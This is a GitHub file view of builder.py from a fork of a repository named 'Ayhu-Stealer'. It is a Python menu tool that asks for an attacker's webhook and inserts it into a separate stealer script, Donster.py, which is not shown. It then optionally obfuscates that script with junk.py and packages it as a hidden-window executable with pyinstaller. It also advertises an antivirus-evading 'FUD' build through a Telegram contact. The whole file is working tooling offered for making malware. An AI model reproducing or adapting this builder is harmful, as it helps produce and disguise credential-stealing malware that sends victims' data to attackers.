forked from Jupiterha/Ayhu-Stealer
-
Notifications
You must be signed in to change notification settings - Fork 0
/
builder.py
99 lines (75 loc) · 3.63 KB
/
builder.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pystyle import *
import os
import subprocess
import requests
from colorama import *
import time
os.system('clear' if os.name == 'posix' else 'cls')
intro = """
____ ____ _ _______________________
/ __ \/ __ \/ | / / ___/_ __/ ____/ __ \
/ / / / / / / |/ /\__ \ / / / __/ / /_/ / Developed by Donster
/ /_/ / /_/ / /| /___/ // / / /___/ _, _/
/_____/\____/_/ |_//____//_/ /_____/_/ |_|
> Press Enter
"""
Anime.Fade(Center.Center(intro), Colors.black_to_red, Colorate.Vertical, interval=0.035, enter=True)
print(f"""{Fore.LIGHTRED_EX}
____ ____ _ _______________________
/ __ \/ __ \/ | / / ___/_ __/ ____/ __ \
/ / / / / / / |/ /\__ \ / / / __/ / /_/ / Developed by Donster
/ /_/ / /_/ / /| /___/ // / / /___/ _, _/
/_____/\____/_/ |_//____//_/ /_____/_/ |_|
Welcome to builder
""")
time.sleep(1)
while True:
Write.Print("\nWhich option do you want to choose: ", Colors.red_to_yellow)
Write.Print("\n1. Build Exe", Colors.red_to_yellow)
Write.Print("\n2. Build FUD Exe (Virus programs undetected)", Colors.red_to_yellow)
Write.Print("\n3. Close", Colors.red_to_yellow)
Write.Print("\nMake your selection: ", Colors.red_to_yellow, end="")
choice = input()
if choice == "1":
os.system("cls || clear")
webhook = input(Fore.CYAN + "\nEnter Your Webhook: " + Style.RESET_ALL)
filename = "Donster.py"
filepath = os.path.join(os.getcwd(), filename)
with open(filepath, "r", encoding="utf-8") as f:
content = f.read()
new_content = content.replace('"WEBHOOK HERE"', f'"{webhook}"')
with open(filepath, "w", encoding="utf-8") as f:
f.write(new_content)
Write.Print(f"\n{filename} file updated.", Colors.red_to_yellow)
obfuscate = False
while True:
answer = input(Fore.CYAN + "\nDo you want to junk your code? (Recommended) (Y/N) " + Style.RESET_ALL)
if answer.upper() == "Y":
os.system("python junk.py")
Write.Print(f"\n{filename} The file has been junked.", Colors.red_to_yellow)
break
elif answer.upper() == "N":
break
else:
Write.Print("\nYou have entered invalid. Please try again.", Colors.red_to_purple)
while True:
answer = input(Fore.CYAN + "\nDo you want to make exe file? (Y/N) " + Style.RESET_ALL)
if answer.upper() == "Y":
if not obfuscate:
cmd = f"pyinstaller --onefile --windowed {filename}"
else:
cmd = f"pyinstaller --onefile --windowed {filename} --name {filename.split('.')[0]}"
subprocess.call(cmd, shell=True)
Write.Print(f"\n{filename} The file has been converted to exe.", Colors.red_to_yellow)
break
elif answer.upper() == "N":
break
else:
Write.Print("\nYou have entered invalid. Please try again.", Colors.red_to_purple)
elif choice == "2":
Write.Print("\nWe can share the fud for free but not now if you want to get it now: https://t.me/Donny", Colors.red_to_yellow)
elif choice == "3":
Write.Print("\nExiting the program...", Colors.red_to_yellow)
break
else:
Write.Print("\nYou have entered invalid. Please try again.", Colors.red_to_purple)